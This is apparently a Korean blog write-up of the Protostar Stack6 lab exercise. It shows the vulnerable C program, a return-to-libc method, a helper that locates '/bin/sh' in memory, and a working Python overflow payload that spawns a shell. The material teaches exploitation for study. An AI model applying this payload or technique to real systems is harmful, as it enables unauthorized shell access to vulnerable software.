ii4gsp

Exploit Exercises [Protostar - Stack6] 본문

시스템 해킹/Exploit Exercises - Protostar

Exploit Exercises [Protostar - Stack6]

ii4gsp 2020. 1. 17. 11:40
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
	getpath();
}

ret가 0xbf로 시작하면 "bzzzt (%p)"문자와 함께 프로그램이 종료된다.

RTL기법으로 문제를 풀어야한다.

 

 

 

 

buffer에서 ret까지의 거리는 0x50 10진수로 80이다.

gets() 함수를 호출하는 <getpath+38>부분에서 break point를 걸어 system() 함수의 주소를 구해주자

 

 

 

 

system() 함수의 주소는 0xb7ecffb0이다.

/bin/sh의 주소만 구하면 페이로드를 작성할 수 있다.

 

 

 

 

#include <stdio.h>
#include <string.h>

int main()
{
    long system = 0xb7ecffb0;
    
    while(memcmp(system, "/bin/sh\x00", 8))
        system++;
        
    printf("%p\n", system);
    return 0;
}

/bin/sh 주소를구할 소스코드를 작성해주자

 

 

 

 

0xb7fb63bf가 /bin/sh의 주소이다.

페이로드는 buffer ~ ret + system()주소 + dummy + /bin/sh 주소

                                                     [80byte]         [4byte]        [4byte]       [4byte]

 

 

 

payload

(python -c 'print "\x90" * 80 + "\xb0\xff\xec\xb7" + "\x90" * 4 + "\xbf\x63\xfb\xb7"';cat) | ./stack6
Comments